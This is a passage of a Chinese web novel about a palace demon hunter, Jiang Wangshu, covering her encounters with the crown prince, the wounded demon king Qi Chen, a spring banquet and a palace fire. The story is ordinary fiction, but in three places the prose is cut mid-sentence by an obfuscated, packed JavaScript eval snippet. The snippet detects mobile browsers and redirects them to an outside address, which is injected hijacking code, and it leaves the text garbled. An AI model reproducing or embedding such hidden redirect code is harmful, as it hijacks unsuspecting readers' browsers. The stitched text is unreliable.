姜望舒连连摆手,说:“捉妖本就是我分内之事。” 同时,她在心中对二皇子也有所估量,这二皇子着实是个不错的人物,能屈能伸,谦谦有礼,只是不知道是不是伪装的,但和太子的举动相比,的确更添几分平易近人。 阿光也一脸抱歉说:“那天送姜大人出去的时候,我好像远远地看到有东宫里的宫女,可能是那个时候就被盯上了,一路跟踪而去,都是我的错。” 二皇子安慰说:“不怪你,我如今处处受到打压,身边也无什么可用之人,你算是最机灵的一个。” 姜望舒并没有做应答,眸色渐深,沉沉地看了阿光一眼,很快移开视线,开门见山地说:“既如此,我身为捉妖师,不愿参与宫内的事情,看来我们之后只能少来往了。” 15. 御用捉妖师(十五) 之后的好几天,姜望舒的生活很平静,除了总是能碰到祁辰外。 祁辰每天不是在后花园转悠,就是去和圣上聊天,生活可谓是悠闲自在,这让她刷新了祁辰在圣上心中的地位,准确的说是李云为这个王爷极受宠爱。 可令姜望舒惊讶的是,尽管之后她与二皇子再未相见,她之前两次去二皇子殿中的消息跟长了腿似的,越传越离谱,直接变成了她早在入宫之前就和二皇子有私交。 但是转念一想,那天她去白梨园的行踪都能够完全被暴露,可见公众到处都是别人的眼线,所以有人见她愿意帮助二皇子,按耐不住出手了。 青天派是捉妖宗门内最先知道这个消息的,沈墨尘立刻封锁了风声,还私下见了姜望舒一面。 跟沈墨尘一同来的还有云舒,两人都难得有些黑脸。 云舒先开的口:“姜望舒,你胆子肥了,怎么会和皇家的人扯上关系,这里的水有多深?你有几个脑袋可掉的!你还多次出入二皇子那里,他虽品行端正,但太子的势力有多强大?” 姜望舒发誓,她从来到这个世界之后,就没见过他语速这么快,像个炮仗,教育得她头越来越低,一句都插不进去。 沈墨尘到底不是姜望舒的师兄,虽然把她看作妹妹,也不方便多说,只是赞同地点头。 终于,等到云舒熄了火,姜望舒弱弱地表示,她只是帮二皇子除了个妖怪,没想到被人造谣了。 沈墨尘敲了敲她的脑袋说:“下次小心点。” “对了,四师兄,你怎么在这?” “寻根问源。” 可能觉得自己说的话太简短了,云舒又补充:“我如今在京城的一家乐馆,帮忙售卖乐器。” 姜望舒实在想象不到云舒冷脸卖乐器的样子,不过好歹两人的脸色已经稍稍好转了。 就在这时,一个宫女来到了姜望舒的住所,沈墨尘反应迅速地拉着云舒贴上了隐身符。 “又是你。”这个宫女她太太太眼熟了,就是太子的人,已经见过很多次了。 宫女恭敬地行礼说:“奴婢小翠,太子请姜姑娘去喝茶。” “行,你在门口等我一会,我这就跟你去。”眼看沈墨尘和云舒的脸色又开始变黑了,她赶紧硬着头皮答应下来,以防自己再被训很长时间。 如果说二皇子的住处偏僻,那么太子的宫殿每一处都彰显着尊贵与受宠的地位,金色的琉璃瓦如同天边的云霞落在人间。 跟着小翠走进宫殿,首先就是宽敞明亮的大殿,地面由精美的大理石铺着,大殿的中央摆放着一张巨大的椅子,前面摆放着紫檀木制成的桌案,更不用说四周还摆放着各种珍贵的文物和艺术品。 “你来了,不知道在宫里待得可还习惯,”太子面露微笑地看着她,眸光深邃,看模样要多真诚有多真诚,仿佛真的只是在关心一个捉妖师。 姜望舒这才注意到他和二皇子的面貌相似,毕竟都是一个父亲生的,眉眼自然相像,突然,她的脑海中闪过了云舒的脸,居然觉得他和太子长得也有点像,她立刻被这个想法吓了一跳。 不会是她想的那样吧…… “回禀太子殿下,一切都还习惯,承蒙关心。” 太子笑了笑说:“那就好,来试试我这里新进的茶,茶香浓郁,是众皇子里的独一份,在别处可是很难品鉴到的。” 姜望舒忽地笑了起来,笑容明媚,本就精致的面容更添了几分清新美好,让太子晃了晃眼,但说出来的话却冰冷无比:“看来太子殿下另有所指,明人不说暗话,我去过二皇子那里的事情,是殿下您故意放出的消息吧。” 似是没想到她如此坦率地点破了这件事,太子爽朗地笑了起来,说:“那只是和姜姑娘开个小小的玩笑,希望你不要介意,只是你应该明白,只有站到正确的队伍中,依靠坚实的靠山,才能够很好地发挥你的才能。” 姜望舒摇头说:“殿下,我并不需要战队,也不用倚靠任何一座山,因为我自己就是一座山。” 太子的脸色沉了下来,瞳孔中闪烁着冰冷,沉声说:“看来你是要与我作对了?” 姜望舒仍然不为所动地说:“我不明白您的意思,我是一名捉妖师,捉妖是我的天职,除此之外的事情,与我一概无关,我们并不是对手,当然,除非您想让我们成为敌人。” “呵呵,别以为本殿不知道你之前曾去过那里,他我暂时动不得,但流云派并非什么名门大派。”太子干脆撕破了脸说。 姜望舒冷哼一声,看来是她高看了他,才几句就沉不住气了。 “怎么,殿下是在威胁我吗?”她面色依旧不改,放松地端坐着,随后,没有等到他的回复,她就接着说道:“可惜,我这个人最不怕的就是威胁。” 从二皇子的宫殿中出来,这件事她只心烦了半日,就忘得一干二净,又跑去修炼了。 只是这几日,姜望舒又有了一个新苦恼,她遇到祁辰的次数明显增多了,她把这归结为手腕上有追踪记号导致的,终于,她忍无可忍地说:“你别跟着我了。” 得到的却是一句轻飘飘的:“姜大捉妖师,咱们只是偶遇,何来跟着不跟着一说呢?” 就像是一拳打在了棉花上,恨得人牙痒痒。 两人就这么不温不火地相处着,逐渐也能说上几句客套话了,可惜每次对话都是以姜望舒气得咬牙切齿结束。 直到有一天半夜,祁辰满身是伤的敲响了姜望舒的房门,身形在月光下显得格外高大而挺拔,一头乌黑的长发此刻竟也散落在肩头,随着他的动作轻轻摇曳,就像是误入凡尘的魅魔,蛊惑人心。 姜望舒的起床气又克制不住了,皱着眉,猛地拉开了门,怒骂还没说出口,看到他那张俊俏的脸蛋,稍微恢复了一些理智,问:“大半夜的不睡觉,你怎么来了?” 刚刚还面色如常的他下一刻居然直直地倒向她,修长而苍白的手指自然地揽上了她的腰部,脑袋低垂靠着她。 姜望舒穿着轻薄的里衣,甚至能够感觉到他温热的呼吸喷洒在自己的肩上,她的身体变得僵硬起来,感觉脸上也有些发烫,下一刻,反应过来,想要推开他。 这时,她敏锐地闻到了一股血腥味,压低声音惊呼:“你受伤了?” “嗯。”他低低地应了一声。 这倒是个稀罕事,有什么人能够伤到这修为近万年的老树妖呢? 姜望舒将他拉进了屋内,又轻轻关上房门,几分钟后,她敏锐地察觉一队人马从她门前经过,动作迅速地对祁辰施了个术法,隐匿了他的气息和身上的血腥味,顺利蒙混过关。 看着倒在她床上的俊美男子,姜望舒摇了摇他,虽然他没什么反应,但应该还是有意识的,无奈,她将他扶起坐在床上,只是他刚坐好就又倒到床上去了。 姜望舒:……也是服了。 姑娘的床塌小巧精致,男人的小腿以下只能耷拉在床下,由着姜望舒素日爱干净,喜欢草木的香气,所以被褥上也散发着淡淡的木香,床头还有一个房中原本就有的青釉瓷瓶,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143793|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她插进去了几枝小野花,用灵力滋养着不会枯萎。 整个房间都有种清甜淡雅的香气,祁辰身上的血腥味显得格格不入。 她拿出一颗疗伤用的灵丹喂给他,然后握住了他修长的手,缓缓地注入灵力,不过半个时辰,她的脸色就变得有些苍白起来,祁辰就像是一个无底洞,她的灵力根本填不满,不信邪的姜望舒加大了力度。 “够了。”祁辰突然睁开那双标志的丹凤眼,目光灼灼地看着她,紧接着,一股柔和的妖力反哺向她,缓解了她的头晕恶心。 “我是担心你死在我这,那我可就说不清了。”姜望舒一撇嘴,起身远离了他。 祁辰轻笑一声,声音竟有些宠溺:“行行行。” 姜望舒宁愿自己是听岔了,他还是那副嚣张的样子更让人自在,如果不是因为不舒服,她的心为何在他轻笑时鲜活热烈地跳动了一阵。 “你大半夜敲响我的房门,又弄的一身伤,不打算跟我解释解释怎么回事吗?”姜望舒正色,抱臂道,“不然再有下次我可不会救你,直接把你推出去上交。” 今夜,受了伤的祁辰似乎格外乖巧,没了平日的嚣张劲,眉眼低垂,黑色的夜行服衬得他的身材格外修长,凌乱的黑发顺滑地披在肩后,有几缕青丝落在她的床榻上,竟然让她生出了想要摸一摸的想法。 这样想着,她也就伸手了,触碰到发丝的刹那,两人都愣了一下,她将这归结为美□□人,她只是犯了一个女人都会犯的错误。 今夜的月光明亮,透过窗帘洒进房间内,可她仍然觉得眼前一片朦胧,迷迷糊糊地如同喝醉了酒。 直到很久的后来,姜望舒才明白,那晚,原来是心在凌乱。 “咳咳,”祁辰咳嗽了两声,“其实,我一直在找一件东西,一件对我来说很重要的东西,找到它,然后毁了它。” “在皇宫的藏宝阁里?”姜望舒立刻想到可能会有宝物的地方。 祁辰沉默了一瞬,摇了摇头:“不确定。” 姜望舒严肃了起来,定定地看着祁辰说:“所以,你是想要毁掉人类这边的莲灯,然后发动人妖两方大战吗?”那双眼睛亮亮的,好像能够看透他一般。 祁辰明显有些惊讶,但这些情绪都被他很好的掩饰下去,“你大可以放心,我并不想要挑起双方开战,只是为什么我要找到莲灯并毁掉它,我自己也无从得知,更何况,妖族的莲灯已经被我毁掉了。” “我又如何能相信你?” 他一挥手,一个留影珠出现在她手中,一段影像播放出来,是祁辰,他亲手砸碎了莲灯,还遭到了反噬,吐出一口鲜血。 这回轮到姜望舒惊讶了:“为什么?” 一个妖王为什么要毁掉自己手中的筹码?这莲灯里面可是蕴含着巨大的力量,他不加以利用,反倒不惜受伤,专挑着莲灯破坏?是傻了吗? 实在是匪夷所思,姜望舒盯着他看了许久,终于盯得祁辰忍不住开口发问:“你在看什么?” “看你是不是年岁大了,所以有些糊涂了。” 祁辰:…… 他皱了皱眉,用手撑着自己的身子坐了起来,似乎也是在思考原因,最后可能是头痛,用手揉了揉眉心,遗憾道:“我也不知道,就是一见到这莲灯,心中就被愤怒充斥,只想要毁掉它。” “那你脾气还挺暴躁的,”姜望舒半开玩笑地说,“好了,看你精神多了,也该离开了。” 说完,轻轻挥手,她的房门就被一股柔和的灵力打开了。 16. 御用捉妖师(十六) 太平盛世时期,当人们的能够酒足饭饱后,文化自然也就繁荣起来,各种娱乐活动层出不穷,姜望舒所处的正是这样一个时代,在和妖怪的大战中,人口的数量只能支撑起建立一个国家,所以没有敌国,四处一片祥和。 文娱活动是盛世的锦上添花,捉妖修炼才是乱世的雪中送炭,简而言之,就是姜望舒并不喜这些仅浮于表面的歌舞宴会,比起这些,她更喜欢有意思的游戏。 而春日宴是宫内每年皇后举办的宴会,多是邀请一些外臣的女眷参加,由于姜望舒任职期间,没有妖怪能在后宫兴起做浪,所以她也被邀请了去。 不知不觉间,姜望舒已经在皇宫任职了数月,满半年,她就可以辞去御用捉妖师一职,去到任何她想去的地方。宫里头生活平淡无趣,好在有祁辰时常来跟她斗斗嘴。 春日的暖阳透过宫墙,宫内,一片春意盎然,繁花似锦,嫩柳如丝,很多花卉都生出了花苞,只待开放。 大抵是植物的天性使然,她察觉的祁辰在春日里似乎心情格外愉悦,不过人类也是一样,喜欢着万物复苏的季节,如此生动鲜活。 宫人们明显忙碌起来,为春日宴做着准备,排练舞蹈的紧锣密鼓地筹备,膳食房里的人更是忙得不可开交,就是在这个时候,姜望舒带着祁辰偷溜了进去。 “和你相处久了,我的脑袋都变笨了,本王是王爷,为什么要偷偷进来才能吃到艾糍?”祁辰有些不满,但还是跟着她鬼鬼祟祟地蹲在膳食房的窗户后。 浓郁的香气从房间内扑鼻而来,差点没把姜望舒香迷糊,她已经闻到红烧肉的肉香混着糖香。 姜望舒拍了拍他的肩膀说:“诶呀,你不懂,这艾糍就是刚出锅的时候最宜食用,配上百年酒酿,味道一绝,等到他们送到你的住处,早就冷掉了,难道你堂堂最受宠的王爷,好意思被别人发现亲自来吃艾糍吗?” 祁辰憋屈地“嗯”了一声,的确是有些掉价儿,祁辰好意思,可是李云为不好意思。 于是两人等啊等,终于艾糍出锅,被端到做好的桌子前,桌子就靠近窗户的位置,趁厨师转身的空当,祁辰施展法术,这盘艾糍就飞到姜望舒的手里。 成功得手后,两人快速逃离作案现场,一是担心被发现,二是不想让这盘菜冷掉,甚至用上了内力,奔跑着找到一个安静无人的角落。 “可惜了,我们没有百年酒酿,就吃这个吧。”艾草的清香不断引诱着两人,不同于其它香料的浓烈,这种香气自然清甜,带着一丝淡淡的草本气息。 “谁说没有的。”祁辰变戏法似地袖口一翻,一小坛酒就这样出现在他手中,“本王在这后宫要什么有什么。” 很快就是春日宴当天,姜望舒难得起床梳妆了一番,虽然她无心与官家女子争艳,但是自己好歹也有张桌子要坐,不能显得太过随意。 宴席设在御花园的中心,一座巨大的八角亭下,一张张紫檀木桌上面铺着红锦桌布,桌上摆放着金光闪烁的酒杯和一碟碟晶莹剔透的玉盘,盘中有各色珍馐。 最中间的位置是留给皇后的,苏萱也被邀请来了,苏萱看到姜望舒后就很自然地坐到她的身边。 “嘿,好巧啊。”她友好地冲姜望舒打着招呼,随后掩面轻笑,“不过你被邀请来也并不意外,毕竟你这么可爱乖巧。” “苏姐姐,好久不见,”姜望舒也很欣喜在这无聊的宴会上能遇到个说话的人,“上次告别的时候你的状态好像很慌张,听说你回阴月派后就闭关修炼,如果发生了什么事情可以随时来找我。” 苏萱自嘲地笑了笑,但姿态仍是风情万种:“没事,一个很真实的梦魇罢了,都过去了。” 她们刚说了几句话,宴会就开始了,皇后坐在高高的主位上,比她位置稍低一些的是一个相貌极其美丽的女子,和苏萱是一挂的美人,十分妩媚,勾人心弦。 就连姜望舒一时都看呆了,回过神来后,心里直犯嘀咕,总觉得那张脸和谁有些相似,是和谁呢?她有些绞尽脑汁。 见到姜望舒眉头紧皱盯着前方看,苏萱贴心地解释道:“你刚入宫,可能还不知道,那位坐在皇后身边的就是柔妃,她是最受宠的妃子,地位仅次于皇后,甚至因为皇上的宠爱,有时候皇后也要敬她几分,她身边坐着的是三皇子和四公主。” 姜望舒点了点头,表示自己知道了,在皇后的另一侧坐着的是太子,再稍远一些坐着的是二皇子,二皇子显然早就注意到姜望舒了,冲着她温和地笑了笑,姜望舒也回以笑容。 四公主生的和柔妃很像,三皇子倒是相貌平平,看起来像是负负得正,没有继承他母妃和皇上好看的容颜。 苏萱将两人的互动看在眼里,更是凑近了她问:“你和二皇子很熟?” 就在姜望舒要回答的时候,一阵乐器声打断了她的话头,舞伎们从亭外翩翩而入。她们身着轻纱,衣袂飘飘,物资轻盈优美,时而旋转,裙摆如盛开的花朵,其中蕴含的生机与这春色恰到好处地融入在一起。 借着音乐声的掩饰,她把自己在宫里如何帮助二皇子捉妖的事情告诉苏萱。 苏萱点了点头,接着说:“二皇子为人谦虚有礼,聪慧谨慎,不像太子那般嚣张跋扈,只是可惜生母的地位远不如皇后和柔妃,没妈的孩子像根草,这句话在他身上表现的淋漓尽致。” 想到之前太子威胁她的那副丑恶嘴脸,姜望舒表示简直不能太赞同她的评价。 宴会进行到一半,皇后突然高声说:“每年都是这样的歌舞,翻不出什么新花样,王家女,本宫听闻你最善歌舞,可愿上前献上一舞?” 苏萱在旁小声和姜望舒说:“看来,这皇后是想要选一个合适的太子妃人选,这太子虽然已有侧妃,但正妃的位置还空着,她正急着 “王家女是官家女子?家世显赫吗?” “王丞相的嫡长女,确实是太子妃的合适人选,他家还有一个庶女,都希望能够嫁入皇家,看皇后的意思是更加偏向长女。” 皇后在上相看合适的太子妃人选,姜望舒和苏萱在下聊的不亦乐乎。 “那就是两女争一男的俗套剧情了?” “差不多吧,庶女知道大姐更受偏爱,就故意放出谣言,说大姐在外藏了人,这当然是假的,那个男人其实是庶女故意找来的,虽然最后还了王家女的清白,但是家丑不可外扬,知道真相的人并不多。” 姜望舒瞳孔放大:“王家女就甘愿咽下这口气?如果是我,一定会有力地回击。” “当然不,王家女知道这件事情后,气得当晚就带着丫鬟把庶女推到院子的湖里,王丞相知道这件事情嫡女心里有气,就只是把她训了一顿,没有什么惩罚。” 姜望舒点了点头,再抬头看王家女的舞蹈,莫名多了几分英气。 “可惜,她们只看到了权力和地位,对太子的为人并不了解,可是我不明白,太子明明是暗定的继承人,为什么还要如此为难二皇子?” 苏萱耸耸肩说:“三皇子胆小怕事,若说可能有威胁的,也就是二皇子了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147245|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两人又聊了很多八卦,说到好笑的地方,两人还端起酒杯阻挡偷笑的嘴角。 突然,苏萱伸手摸了摸姜望舒的脑袋,无奈地说:“姜妹妹,我发现你有一种魔力。” 姜望舒不太理解地问:“什么魔力?” “一种能够带动人和你一同胡闹的恐怖能力。” 姜望舒没有理解苏萱的意思,如果祁辰在这里,一定会十分赞同苏萱说的话,就比如他本来是一个王爷,却莫名其妙地和她一起去偷吃艾糍这件事他一定会烂在肚子里。 突然,皇后的目光看向了捉妖师的座位处,温声说:“苏萱,本宫听闻你的剑术高超,可否愿意为大家舞一剑?” 没想到,苏萱直接站起来,恭敬地说:“对不起皇后娘娘,小女最近因为捉妖身体抱恙,旧伤未好,恐怕会扫了大家的兴致。” 皇后也并没有再勉强,而是和其他人继续寒暄。 姜望舒能够理解苏萱的拒绝,捉妖门派很重要,但明面上并不宣扬,有损皇家威严,更何况这怕不是一场鸿门宴,苏萱明显没有那个选妃的心思。 宴会结束后,姜望舒和苏萱依依不舍地告别,还有些没聊够。 最近,祁辰突然迷恋上编制花环,由着是春天,编织的材料也多,姜望舒几乎每天都能收到他的一个花环,桌子上都叠满了。 这天,他又笑眯眯地拿着一小袋材料来到姜望舒的住所,毫不客气地就把所有东西摊放在桌子上,彼时姜望舒正在专心研究新的符咒,被祁辰打断后,一个手抖直接把符箓画废了,上一个打扰她研究的人已经被吓得退出房间了。 祁辰直接被打倒在床上,一副柔弱不能自理的模样,至于为什么是倒在床上就要问祁辰自己了。 “诶呀呀,怎么火气这么大~你整日闷在屋子里倒腾怎么收服我们,岂不是辜负了这大好春光?”说完,他还换了个更舒服的姿势躺着,动作妖娆,勾了勾手指,“不如我们玩些更有趣的?” 姜望舒瞪了他一眼,没好气地说:“对对对,我就是研究怎么收服你们的。” 她的示威在祁辰的眼中就像是可爱的猫咪冲他挥了挥爪子一样,只让他觉得有些可爱,故意拖长了音调说:“噢~除了我,姜大捉妖师还想要收谁呢?友情提示,收了我你就相当于近乎收掉了整个妖族噢~” 没想到,姜望舒还真把这句话给听进去了,小鹿般灵动的眼睛转了转,居然思考着说:“你那么厉害,居然不是整个妖族,是因为那条海妖吗?也是四大妖王之一……” 还没分析完,一抬头,看到祁辰幽怨的眼神,突然意识到什么,撇了他一眼说:“你吃错药了?植物在春天也会发情吗?” 祁辰立刻一副被抛弃的小媳妇模样看着她,恶狠狠说:“姜望舒活该你单身一辈子!”说完,还把她手中的符纸都收走了。 “过来,陪本尊做花环!” “好的,妖王大人——” 祁辰觉得姜望舒没有做过花环,所以肯定不太会编,故意放慢了手速,他的手指修长而有力,动作轻柔却准确,将□□缠绕在藤圈上,很快,一个粉色的迎春花环就做好了,上面的花朵错落有致,散发着淡淡的清香。 当他再抬头,发现姜望舒早就以迅雷不及掩耳之势做好了一个,正用手撑着下巴,慢悠悠地说:“好看,话说,这藤条是哪来的,我怎么没看出来是什么植物的?” 祁辰没有回答这个问题,只是难得有些脸热的样子,眼神也开始闪躲起来。 17. 御用捉妖师(十七) 祁辰不愿说,姜望舒也不多问。 春天过了接近一半,距离姜望舒可以卸职的时间愈发接近,她早就在这里呆腻了,心中盘算着等到“释归”的日子,她一定要先回到连云峰看看有没有人在流云派,紧接着施行自己东海旅途大计。 太子一改常态,有事没事总是邀请她到东宫喝茶,以至于这个月来喝了龙井茶、碧螺春、仙茶、普洱茶、三清茶……她都快被迫成为鉴茶大师了,年纪轻轻嘴中就常留淡淡的苦涩,吃尽了苦头。 她也不能明面上拒绝太多次,每次见面总要和太子周旋一番,聪明人之间的对话就是很劳心费神,看着面前永远微笑着的太子,如果不是之前她撞破太子责罚下人的手段,还真会被他这和曦的表象欺骗。 说来也是巧合,她喜欢定期检查宫内各处捉妖法阵的布置,时时重布、加固,所以宫内的犄角旮旯她都溜达过,结果,尽职尽责的姜大捉妖师居然真在墙根处发现了一具宫女的尸体,大惊之下,她闪身过去检查是否是自己的失职,但很快就察觉了她身上的伤痕。 再一看这抛尸处,原来是太子寝殿的墙根,就在她思考着如何处理的时候,太子的侍从们来了,她只得贴上隐身符,目送着几人将这小宫女的尸体慌乱抬走。 今日,姜望舒和太子在后花园赏着春华,今日的气温似乎有些低,料峭寒意褪去后又再次袭来,她不自觉地紧了紧藕粉色衣衫,这是入宫后拿月俸买的新衣服,上面绣的亭台阁楼样貌精致,好在没有什么风,阳光照在人的身上也暖暖的。 太子没话找话地虚心请教着一些关于捉妖上的事宜,谦谦君子的模样让姜望舒有些怀疑之前自己是莫名多出了一段被威胁的记忆。 “四大妖王剩下的那两位是什么妖呢?” “回殿下,不知道。” 当然一个是树妖一个是海妖了,什么都不知道。 “每一只妖都有妖丹吗?据说妖丹有强身健体之效。” “回殿下,除极有天赋的妖怪外,百年修为以上的妖怪才能修炼出妖丹,至于强身健体,有待查证。” 还强身健体,回头别补得七窍流血威胁太医一同陪葬。 不过太子倒是提醒她了,之前那枚蛇妖妖丹每每带在身上,她就梦魇缠身,记忆也开始出现混乱,所以被她用盒子收起来了,果真就不再做噩梦了,看来不是她身体的原因,而是这妖丹的功效,的确是得到了个宝贝。 太子还在不停地絮絮叨叨,就在姜望舒脸上得体的笑要挂不住的时候,前方突然传来一阵嬉戏声,两人都停住了脚步。 “你我好比鸳鸯鸟,比翼双飞在人间, 树上的鸟儿成双对,绿水青山带笑颜……” 戏腔从远处飘来,那声音婉转悠扬,若黄莺出谷,万般柔情在其中流转,但姜望舒莫名就听出了些许悲伤,向前眺望,是皇上和柔妃正在后花园内戏耍,那柔妃水红色衣袍扬起,身姿袅袅,能看出来两人交谈得很愉悦,举止亲昵。 姜望舒没有错过太子严重一闪而过的阴冷,但他情绪收敛得很快,目光移向别处,冷哼一声:“空有美貌罢了。” 她突然拍了拍太子的衣袖,及时打断了他的仇恨,重新为他带上如沐阳光般的假面,恭敬道:“殿下的衣袖上沾染了些许泥土,莫要被这些灰尘迷了眼。” 太子频繁找姜望舒,导致祁辰能见她的机会都少了许多,这令他十分不满,此刻正不悦地目视前方,赖在她身边不走。 “让一让,你挡着我我怎么给皇宫布阵?”姜望舒抱臂,无奈地看着他,送走了一个聪明人又来了一个老人家。 祁辰此刻正正好好站在她布阵的方向,不情不愿地挪动了一下脚步后,还是很不爽的样子:“今天你和太子在后花园说什么呢?” 不知怎的,她脑中突然浮现当初师父禁止在冬日喝冷饮时某,师娘就是这副幽怨的小表情,两人的举止和语气有个七八分的神似。 姜望舒正色:“对了,正好你问到这事了,今天我们在后花园见到皇上和柔妃,我一直很困惑,柔妃是很美,但是天下的美人那么多,皇上为何就专宠她呢?” 这种情况历代来都极为少见,后宫关系也会变得难以平衡,从而牵扯到前朝,引起诸多事端。 祁辰也稍稍收敛了无赖的劲,一副“这就不知道了吧”的欠揍模样,慢悠悠道:“因为她长得极像皇上的长姐,已故的长公主。” “难道是替身?皇上对长公主有特殊的感情?” 祁辰修长冷白的手指点了点她的脑袋,又履平她头上的一根呆毛:“好了,把你脸上的兴奋收一收,长公主来自九尾狐一族,当年偷跑出来玩,被捉妖师袭击受了重伤,后来几经周转被先皇捡到,就成了长公主,由于先皇对她极为照顾,所以就选择留在皇宫。” “所以他们是两情相悦了?” 祁辰否认:“不,起先长公主对皇上并无意,纳了一位驸马,生活幸福美满,不然皇上登基后,长公主早就被抢了去。” 姜望舒搓搓手,话锋一转:“据说长公主当年是暴毙而死,我看这是应该没那么简单吧?” 祁辰笑了笑,似乎是知道她只是喜欢八卦,一开口皇宫秘密往事不要钱地往外蹦:“你倒是聪明,是皇后做的,她早就看出了两人的不一般,和永日派的捉妖师联合起来杀死了长公主,又嫁祸给二皇子的生母,说是二皇子的生母天生不祥,入宫后克死了长公主,皇上当然不完全信,但是凡事有一丝可能对她造成伤害的事情他都不允许,于是一段时间后,二皇子的生母也暴毙了,不过二皇子并不知晓这件事。” 姜望舒无语:“就因为这一个可笑的理由?看来这皇上也是个昏庸无能的。当年长公主还育有一子,可是为什么会变成你?难道真的李云为也遭遇不测了?” 她的眼睛微微眯起,无声地审视着祁辰,带着一种从容不迫的锐利,祁辰刚要开口,突然几个步履匆匆的宫人路过,两人立刻噤声,结束这个话题。 姜望舒拦住了走在最后的宫女问:“发生了什么事,怎么这么慌慌张张的?” 小宫女没有想到王爷和姜望舒都在这,冷不丁地吓了一跳,颤声说:“回姜大人,二皇子的寝殿走水了!” 姜望舒冷静地说:“好的,你快去吧。”随即,她又转头对祁辰说了句她会法术也想要帮忙,就直奔二皇子的寝殿而去。 独留祁辰在原地喃喃道:“不是告诉你要少管皇子之间的事情吗……还是这么不听劝。”语毕,也迈开步子朝着二皇子的寝殿走去。 姜望舒赶到的时候,二皇子的宫殿已经被一片火海吞噬,火光冲天,让这座本就显得有些破败的宫殿在熊熊烈火中更加凄凉。宫人们正在惊慌失措地拿着水桶,从远处的水井里提水。 她拦住了其中一个宫人,大声说:“你们家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15158518|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二皇子呢?” 没等到宫人回答,一个身影跌跌撞撞从火海中跑出来,正是二皇子,他的衣衫凌乱,头发也被火苗燎焦了几缕,还没跑到她跟前,就突然晕倒了。 恰巧这个时候祁辰赶到了,一把扶住了他,抬手想要有所动作,被姜望舒一把拦住了,她冲他摇摇头,眼下祁辰还是李云为,不会术法的李云为,不能暴露身份。 注意到二皇子怀里死死抱着一个上了锁的盒子,事态紧急,她也没多问,而是让祁辰先带二皇子去医治。 二皇子本就不受宠,平日里宫人们对他也多是敷衍,如今这般大火,竟没有人第一时间想到去通知禁军救火,就连宫人都寥寥无几。火势越来越大,宫殿的屋顶开始坍塌,木梁带着火星砸落下来,砸在地面上,溅起一片火星,宫人们惊叫着四散躲避,姜望舒顺手救了其中一个,不慎被烧焦了衣角。 她从怀中拿出引水符,扔到空中,不断向其注入内力,只见水井中的水如同感受到召唤版,全部涌向着了火的房屋,火势才缓缓开始减弱。 远处,终于传来一阵嘈杂声,是禁军赶来了,但宫殿已经被烧的不成样子,尽管有姜望舒引水,火势还是顺着风势,向四周蔓延,一直忙活到天黑,才终于把这场大火彻底熄灭。 第二天,姜望舒听闻二皇子到御书房和圣上说明了这件事情,在宫殿修缮好后,二皇子暂时与三皇子一同居住。 皇上得知是李王爷亲自将二皇子去医治的,对二皇子的态度居然也和蔼起来,承诺新的宫殿一定不比太子的差。二皇子知道那天姜望舒和祁辰帮了大忙后,曾经邀请两人一聚,祁辰拒绝了,只有姜望舒去了。 她也觉得很奇怪,自从那天救了二皇子后,祁辰就再也没有出现在后宫,不知道去忙什么了。 这也是姜望舒第一次如此近距离地看到三皇子,说实话,她不得不感慨一下皇上基因的强大,他这三个儿子几乎都是一个模子刻出来的,脸柔妃那么美丽的人,三皇子可谓是半点没有继承到。 三皇子的住处就要比二皇子好多了,至少有不少珍贵奢华的物件。 此刻,宫殿里只有二皇子、三皇子和姜望舒三人,其他服侍的人都被二皇子遣出去了。 二皇子还是那副温文尔雅的模样,只是稍微有些憔悴:“姜姑娘,没想到上次的人情我还没有机会还上,我就又欠你一个人情,那天真是多谢你和王叔相救。” 姜望舒回了个礼说:“不必多在意,举手之劳罢了。” 三皇子倒了杯茶,冷哼道:“宫里面的人都是人精,尽管太子地位很高,但是能力确实赶不上二哥,所以朝廷上一直有很多人支持二哥,李王爷极受宠爱,这么多年一直不站队,冷不丁出现在二皇子走水的宫殿,难免不会让人多想。” 姜望舒这才明白为什么祁辰最近都没有出现,可能是有一大堆麻烦事情等着他去处理。 三皇子还在喋喋不休地说:“要我说,这走水一事就很蹊跷,父皇正要把招募新礼部新人的事情交给你,怎么偏偏就在这个时候二哥你的宫殿就着火了呢?” 二皇子打住了他的话头:“三弟别乱说火势是从东厢房开始的,或许是某个宫女不小心打翻了烛,亦或许是老化的木梁在侵蚀下自燃,这都不得而知。” 听完,三皇子握拳锤了锤桌子说:“二兄,你就忍吧,忍耐到最后,小心会落得个什么都没有的地步。” 18. 御用捉妖师(十八) “我知晓你的意思,只是……我们到底是亲兄弟,他也不曾真正做过什么伤天害理之事。” 